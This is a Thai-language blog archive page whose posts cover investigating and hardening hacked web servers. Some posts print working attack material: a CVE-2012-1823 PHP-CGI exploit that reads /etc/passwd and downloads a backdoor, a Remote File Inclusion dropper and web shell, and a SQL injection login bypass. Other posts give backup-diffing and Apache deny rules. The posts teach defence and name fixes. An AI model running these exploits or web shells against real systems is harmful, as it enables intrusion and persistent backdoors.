Month: January 2014

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705

  • Web Hacking and Security Workshop

    บทความชุด “วิธีตรวจสอบเว็บไซต์ที่โดน Hack”

    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 : เริ่มต้นตรวจพบความผิดปรกติที่ทำให้ Web Server ล่มเป็นระยะๆ และวิธีการตรวจสอบจนพบ Backdoor
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2 : ลักษณะของ Backdoor และวิธีตรวจสอบ Backdoor
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 : ช่องโหว่ JCE Exploit และวิธีค้นหา Backdoor อื่นๆ
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 : สรุป ขั้นตอนปฏิบัติ เมื่อตรวจสอบพบว่า Website ถูก Hack
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 : แนวทางการตรวจสอบช่องโหว่ของ Website ตนเองก่อนถูก Hack, รู้จักกับ CVE, CVSS และ Website cvedetails.com
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 : รูปแบบการสร้าง Cron เพื่อให้ Hacker สามารถกลับเข้ามาได้ แม้ผู้ดูแลระบบจะลบ Backdoor ออกไปจนหมดแล้ว !
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7 : การตรวจสอบ Windows Server ที่ถูก Hack ด้วย PowerShell
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8 : รูปแบบการสร้าง Web Server Process ปลอม และการวาง Network Scanner Tools บน Web Server ที่ถูก Hack
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 : วิธีการ Hack ด้วย SQL Injection และ Cross-Site Scripting
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10 : วิธีการ Hack ด้วย Remote File Inclusion
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11 : เทคนิคการใช้ Incremental Backup เพื่อการตรวจสอบหาไฟล์แปลกปลอม และการกู้ระบบกลับมา
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12 : เทคนิคการตั้งค่า Apache Web Server เพื่อให้ปลอดภัยจากช่องโหว่
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13 : วิธีการ Hack ผ่าน PHP แบบ CGI-BIN
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #14: Heartbleed Bug
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #15 : วิธีการปิดไม่ให้ PHP ทำงานในโฟลเดอร์ที่เปิดให้เขียนได้ บน Windows Server ที่ IIS Web Server
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16: ShellShock
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #17: Backdoor ในรูปแบบ Obfuscate
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #18: Wordpress XMLRPC Vulnerable
     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11

    ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก

    ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้

    การสำรองข้อมูล หรือการ Backup มี 2 แบบ

    1. Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
    2. Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น

    เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
    โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla15

    1. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    cp /dev/null joomla15.snar
    tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15

    2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15

    โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้

    เมื่อทำคำสั่ง

    sh fullbackup.sh

    จะได้ไฟล์นี้

    joomla15-full-20140105004433.tar.gz

    ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้

    jce01

    เมื่อใช้คำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    ได้ผลดังนี้

    /var/www/joomla15/images/stories/0day.php

    และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL

    http://localhost/joomla15//images/stories/0day.php

    และ แก้ไขไฟล์

    /var/www/joomla15/CREDITS.php

    ดังนี้

    jce02

    สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์

    /var/www/joomla15/images/stories/0day.php
    /var/www/joomla15/CREDITS.php

    เมื่อใช้คำสั่ง

    sh incrementalbackup.sh

    จะได้ไฟล์

    joomla15-inc-20140105021906.tar.gz

    วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง

    diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'

    ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง

    > -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php
    > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php

    หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง

    tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php

    ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9

    สวัสดีปีใหม่ ปี 2557 ขอทุกท่านนประสบความสำเร็จในหน้าที่การงาน คิดหวังสิ่งใดก็สมปรารถนา และมีสุขภาพแข็งแรง ปลอดภัยตลอดทั้งปีครับ

    บทความนี้ ขอกล่าวถึงปัญหาสำคัญปัจจุบัน เรียกว่าเป็น Trends ของปีที่ผ่านมาและต่อไปในปีนี้ (2557) ด้วย นั่นคือ เรื่อง Cross Site Scripting หรือ ที่เขียนย่อๆว่า XSS

    XSS นั้น ก็คล้ายๆกับปัญหาเดิมของ SQL Injection เดิม

    SQL Inject คือ Web Form ที่ให้ผู้ใช้ป้อนข้อมูลเข้ามา ไม่ได้มีการกรองข้อมูลให้ดี จึงทำให้ Hacker สามารถ แทรกคำสั่ง SQL เข้ามา เพื่อให้สามารถ Bypass การตรวจสอบได้ เช่น ตัวอย่าง SQL Injection ที่เขียนจาก PHP ที่หน้าที่รับ username และ password เข้ามาตรวจสอบ จากฐานข้อมูล โดยคิดว่า จับคู่ได้ แล้วมีจำนวน มากกว่า 0 ก็แสดงว่า ให้ผ่านได้ ดังนี้

      <?php
      $username=$_POST['username'];
      $password=$_POST['password'];
    
      $host="localhost";
      $dbuser="root";
      $dbpass="123456";
      $dbname="xss";
      $dbtable="user";
    
      $conn = mysql_connect("$host","$dbuser","$dbpass");
      mysql_select_db("$dbname");
      $sql = "SELECT count(*) FROM $dbtable WHERE username='$username' AND password = '$password' ";
    
      $query=mysql_query($sql);
      $result=mysql_fetch_array($query);
      $count=$result[0];
    
      if ( $count > 0 ) {
            echo " Hello $username ";
      } else {
            echo "Login Fail";
      }
    
      echo "<hr>";
      echo "SQL=$sql";
    
      mysql_close($conn);
    ?>

    เมื่อทำการ Login ด้วย Username เป็น admin และ Password  เป็น yyy ซึ่งผิด

    ผลที่ได้ จะประมาณนี้

    แต่หาก ใส่ Password แทนที่จะเป็น

    yyy

    แต่ใส่เป็น

    yyy' or '1'='1

     ผลที่ได้คือ

    จะเห็นได้ว่า  การที่ไม่ตรวจสอบ Escape Character ให้ดี จึงทำให้ Hacker สามารถเข้ามาได้ โดยไม่จำเป็นต้องทราบรหัสผ่านจริงๆ, นี่คือ SQL Injection

